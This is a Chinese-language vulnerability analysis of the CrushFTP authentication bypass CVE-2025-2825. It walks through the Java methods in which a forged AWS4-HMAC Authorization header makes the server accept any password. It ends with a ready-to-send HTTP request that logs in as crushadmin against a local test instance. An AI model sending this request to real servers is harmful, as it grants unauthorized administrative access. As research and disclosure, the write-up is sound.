CrushFTP 身份验证绕过(CVE-2025-2825)

环境搭建:

登录页面:http://localhost:8081/WebInterface/login.html

默认账号密码crushadmin:password

漏洞分析:

loginCheckHeaderAuth负责检查和处理基于 HTTP 请求头中的认证信息(如 Authorization、Proxy-Authorization 和 as2-to)的用户登录逻辑。

AWV S3 身份验证通常使用请求签名机制,其中客户端Authorization类似以下格式

1
Authorization: AWS4-HMAC-SHA256 Credential=<AccessKey>/<Date>/<Region>/s3/aws4_request, SignedHeaders=<Headers>, Signature=<Signature>

该部分会获取以AWS4-HMAC开头,=字符后的值并去去除最后的/作为用户名,关键在于默认设置lookup_user_pass为true,然后调用login_user_pass方法验证用户名和密码。

crushftp.server.ServerSessionHTTP#loginCheckHeaderAuth

跟进该方法,anyPass参数为true,然后调用this.verify_user继续验证用户身份

crushftp.handlers.SessionCrush#login_user_pass(boolean, boolean, String, String)

跟进该方法,经过一系列对配置、用户名、拒绝默认账户、防暴力破解等处理,会新建临时账户并赋值然后调用UserTools.ut.verify_user方法检查

ServerStatus.thisObj:全局服务器状态。theUser/thePass:处理后的用户名和密码。anyPass:是否允许任意密码。

crushftp.handlers.SessionCrush#verify_user(String, String, boolean, boolean)

继续跟进,当anyPass为true且用户名存在就会返回tue,直接返回用户配置从而绕过。

crushftp.handlers.UserTools#verify_user(ServerStatus, String, String, String, SessionCrush, int, String, int, Properties, Properties, boolean)

漏洞复现:
1
2
3
4
5
6
7
8
9
10
GET /WebInterface/function/?command=getUserInfo&c2f=9606 HTTP/1.1
Host: locahost:8081
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
Cookie: CrushAuth=1049161285377_jZiGxXHpBrrLsAEJmBfAaiFsImLZ9606; currentAuth=9606
Origin: http://localhost:8081
Referer: http://localhost:8081/WebInterface/login.html
X-Requested-With: XMLHttpRequest